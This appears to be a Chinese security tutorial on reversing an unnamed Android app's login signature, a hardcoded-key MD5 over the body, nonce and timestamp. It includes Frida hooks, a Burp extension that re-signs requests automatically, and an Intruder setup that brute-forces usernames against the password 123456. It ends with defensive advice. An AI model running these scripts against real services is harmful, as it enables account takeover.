登录接口codeSign值签名逆向绕过至自动加密脚本更新
字数 1798 2025-12-05 12:12:38

登录接口codeSign值签名逆向分析与自动化加密脚本实现

前言

本教学文档详细分析某APK登录接口的codeSign签名校验机制,通过逆向工程和Hook技术揭示其加密逻辑,并实现自动化加密脚本以绕过签名验证进行安全测试。

抓包分析

初始发现

  • 使用抓包工具(如小黄鸟)捕获登录请求
  • 请求体为明文传输,仅密码经过Base64编码
  • 关键请求头字段:codeSignnoncetimestamp
  • 修改username参数会触发"签名错误"提示,说明存在签名绑定机制

签名参数确定

通过参数增删测试,确认签名校验涉及:

  1. 请求头参数:codeSignnoncetimestamp
  2. 请求体数据:完整JSON内容

应用安全检测

查壳处理

使用查壳工具检测发现APK未加壳,可直接进行反编译分析。

逆向工程分析

反编译工具

使用JADX进行APK反编译,通过以下关键字定位关键代码:

  • URI路径:/user/login
  • 请求参数:usernamepassword
  • 请求头字段:codeSignnoncetimestamp
  • 加密函数关键字:encryptdecrypt

关键代码定位

搜索codeSign字段找到核心函数buildHeaders,该函数负责生成签名相关请求头。

codeSign签名机制深度分析

签名生成函数

codeSign = n0.c(strReplaceAll, str3, jCurrentTimeMillis)

参数分解

strReplaceAll(随机值)

String strReplaceAll = UUID.randomUUID().toString().replaceAll("-", "");
  • 生成标准UUID并移除连字符
  • 示例:f47ac10b-58cc-4372-a567-0e02b2c3d479f47ac10b58cc4372a5670e02b2c3d479

str3(请求体数据)

  • 包含完整的JSON请求内容
  • 如:{"username":"test","password":"MTIzNDU2"}

jCurrentTimeMillis(时间戳)

  • 系统当前时间戳
  • 同时添加到请求头的timestamp字段

Hook分析验证

Hook脚本1:参数捕获

Java.perform(function() {
    var targetClass = "com.xxx.xxx.n0";
    var methodName = "c";
    
    var targetClassMethod = Java.use(targetClass);
    targetClassMethod[methodName].overload('java.lang.String', 'java.lang.String', 'long').implementation = function(str, str2, j10) {
        console.log("[+] n0.c called");
        console.log("str: " + str);
        console.log("str2: " + str2);
        console.log("j10: " + j10);
        
        var result = this[methodName](str, str2, j10);
        console.log("result: " + result);
        return result;
    };
});

执行结果确认:

  • str:随机UUID(无连字符)
  • str2:请求体JSON数据
  • j10:时间戳

n0.c函数内部逻辑

public static String c(String str, String str2, long j10) {
    String strG = g(); // 获取固定密钥
    return s9.c.c(str2 + str + strG + j10).toUpperCase();
}

g()函数分析

通过Hook发现返回固定值(以"50"开头),为硬编码密钥。

最终加密处理

s9.c.c函数

public static String c(String str) {
    return b(MessageDigest.getInstance("MD5").digest(str.getBytes()));
}

加密流程:

  1. 拼接字符串:请求体 + UUID + 固定密钥 + 时间戳
  2. MD5哈希计算
  3. 转换为大写十六进制

完整Hook验证

Hook脚本3:完整流程监控

Java.perform(function() {
    // Hook字符串拼接过程
    var stringBuilderClass = Java.use("java.lang.StringBuilder");
    stringBuilderClass.toString.implementation = function() {
        var result = this.toString();
        if (result.contains("username")) {
            console.log("[+] String拼接结果: " + result);
        }
        return result;
    };
    
    // Hook MD5加密
    var messageDigestClass = Java.use("java.security.MessageDigest");
    messageDigestClass.digest.overload('[B').implementation = function(bytes) {
        var result = this.digest(bytes);
        console.log("[+] MD5摘要长度: " + result.length);
        return result;
    };
});

验证结果

成功获取完整签名生成流程,与抓包数据完全匹配。

自动化加密脚本实现

Burp扩展脚本

from burp import IBurpExtender, IHttpListener
import hashlib
import uuid
import time
import json

class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("CodeSign Auto Signer")
        callbacks.registerHttpListener(self)
        
    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if not messageIsRequest:
            return
            
        httpService = messageInfo.getHttpService()
        request = messageInfo.getRequest()
        requestInfo = self._helpers.analyzeRequest(request)
        
        # 仅处理登录接口
        if "/user/login" not in requestInfo.getUrl().getPath():
            return
            
        # 获取请求体
        body = request[requestInfo.getBodyOffset():].tostring()
        
        # 生成签名参数
        nonce = str(uuid.uuid4()).replace("-", "")
        timestamp = str(int(time.time() * 1000))
        fixed_secret = "50xxxxxxxx"  # 实际分析获得的固定值
        
        # 构建签名字符串
        sign_string = body + nonce + fixed_secret + timestamp
        codeSign = hashlib.md5(sign_string.encode()).hexdigest().upper()
        
        # 更新请求头
        headers = list(requestInfo.getHeaders())
        new_headers = []
        
        for header in headers:
            if header.startswith("nonce:"):
                new_headers.append("nonce: " + nonce)
            elif header.startswith("timestamp:"):
                new_headers.append("timestamp: " + timestamp)
            elif header.startswith("codeSign:"):
                new_headers.append("codeSign: " + codeSign)
            else:
                new_headers.append(header)
        
        # 构建新请求
        new_request = self._helpers.buildHttpMessage(new_headers, body)
        messageInfo.setRequest(new_request)

脚本部署要点

  1. Burp加载:通过Extender标签页加载Python脚本
  2. 错误处理:根据实际分析结果调整固定密钥值
  3. 调试模式:开启控制台输出验证签名生成过程

爆破测试实施

配置步骤

  1. 定位登录接口:在Proxy history中找到登录请求
  2. 发送到Intruder:右键选择"Send to Intruder"
  3. 设置攻击位置
    • 清除默认标记
    • 标记username和password字段
  4. 配置Payloads
    • username:字典文件或自定义列表
    • password:固定值"MTIzNDU2"(123456的Base64编码)

签名验证绕过

脚本自动为每个请求:

  1. 生成新的nonce(UUID)
  2. 更新timestamp(当前时间)
  3. 重新计算codeSign(基于新参数和请求体)
  4. 替换请求头对应字段

技术总结

安全机制分析

  1. 签名绑定:请求体+随机数+密钥+时间戳的多因素绑定
  2. 动态参数:nonce防止重放攻击
  3. 时间校验:timestamp防止过期请求

逆向技术要点

  1. 代码定位:通过特征字符串快速定位关键函数
  2. Hook技术:动态分析运行时参数传递
  3. 加密分析:识别算法类型和密钥管理方式

防护建议

针对此类签名机制,建议增强:

  1. 代码混淆:增加逆向分析难度
  2. 动态密钥:避免硬编码固定值
  3. 环境检测:防止Hook工具注入
  4. 双向认证:结合客户端证书等更强验证

扩展应用

本技术方案可应用于:

  1. 安全测试:自动化接口安全审计
  2. 协议分析:第三方接口集成分析
  3. 移动安全:APP安全检测标准流程

通过本教学文档的完整流程,可系统掌握移动应用接口签名机制的分析方法和自动化测试技术。

登录接口codeSign值签名逆向分析与自动化加密脚本实现 前言 本教学文档详细分析某APK登录接口的codeSign签名校验机制,通过逆向工程和Hook技术揭示其加密逻辑,并实现自动化加密脚本以绕过签名验证进行安全测试。 抓包分析 初始发现 使用抓包工具(如小黄鸟)捕获登录请求 请求体为明文传输,仅密码经过Base64编码 关键请求头字段: codeSign 、 nonce 、 timestamp 修改username参数会触发"签名错误"提示,说明存在签名绑定机制 签名参数确定 通过参数增删测试,确认签名校验涉及: 请求头参数: codeSign 、 nonce 、 timestamp 请求体数据:完整JSON内容 应用安全检测 查壳处理 使用查壳工具检测发现APK未加壳,可直接进行反编译分析。 逆向工程分析 反编译工具 使用JADX进行APK反编译,通过以下关键字定位关键代码: URI路径: /user/login 请求参数: username 、 password 请求头字段: codeSign 、 nonce 、 timestamp 加密函数关键字: encrypt 、 decrypt 关键代码定位 搜索 codeSign 字段找到核心函数 buildHeaders ,该函数负责生成签名相关请求头。 codeSign签名机制深度分析 签名生成函数 参数分解 strReplaceAll(随机值) 生成标准UUID并移除连字符 示例: f47ac10b-58cc-4372-a567-0e02b2c3d479 → f47ac10b58cc4372a5670e02b2c3d479 str3(请求体数据) 包含完整的JSON请求内容 如: {"username":"test","password":"MTIzNDU2"} jCurrentTimeMillis(时间戳) 系统当前时间戳 同时添加到请求头的 timestamp 字段 Hook分析验证 Hook脚本1:参数捕获 执行结果确认: str :随机UUID(无连字符) str2 :请求体JSON数据 j10 :时间戳 n0.c函数内部逻辑 g()函数分析 通过Hook发现返回固定值(以"50"开头),为硬编码密钥。 最终加密处理 s9.c.c函数 加密流程: 拼接字符串: 请求体 + UUID + 固定密钥 + 时间戳 MD5哈希计算 转换为大写十六进制 完整Hook验证 Hook脚本3:完整流程监控 验证结果 成功获取完整签名生成流程,与抓包数据完全匹配。 自动化加密脚本实现 Burp扩展脚本 脚本部署要点 Burp加载 :通过Extender标签页加载Python脚本 错误处理 :根据实际分析结果调整固定密钥值 调试模式 :开启控制台输出验证签名生成过程 爆破测试实施 配置步骤 定位登录接口 :在Proxy history中找到登录请求 发送到Intruder :右键选择"Send to Intruder" 设置攻击位置 : 清除默认标记 标记username和password字段 配置Payloads : username:字典文件或自定义列表 password:固定值"MTIzNDU2"(123456的Base64编码) 签名验证绕过 脚本自动为每个请求: 生成新的nonce(UUID) 更新timestamp(当前时间) 重新计算codeSign(基于新参数和请求体) 替换请求头对应字段 技术总结 安全机制分析 签名绑定 :请求体+随机数+密钥+时间戳的多因素绑定 动态参数 :nonce防止重放攻击 时间校验 :timestamp防止过期请求 逆向技术要点 代码定位 :通过特征字符串快速定位关键函数 Hook技术 :动态分析运行时参数传递 加密分析 :识别算法类型和密钥管理方式 防护建议 针对此类签名机制,建议增强: 代码混淆 :增加逆向分析难度 动态密钥 :避免硬编码固定值 环境检测 :防止Hook工具注入 双向认证 :结合客户端证书等更强验证 扩展应用 本技术方案可应用于: 安全测试 :自动化接口安全审计 协议分析 :第三方接口集成分析 移动安全 :APP安全检测标准流程 通过本教学文档的完整流程,可系统掌握移动应用接口签名机制的分析方法和自动化测试技术。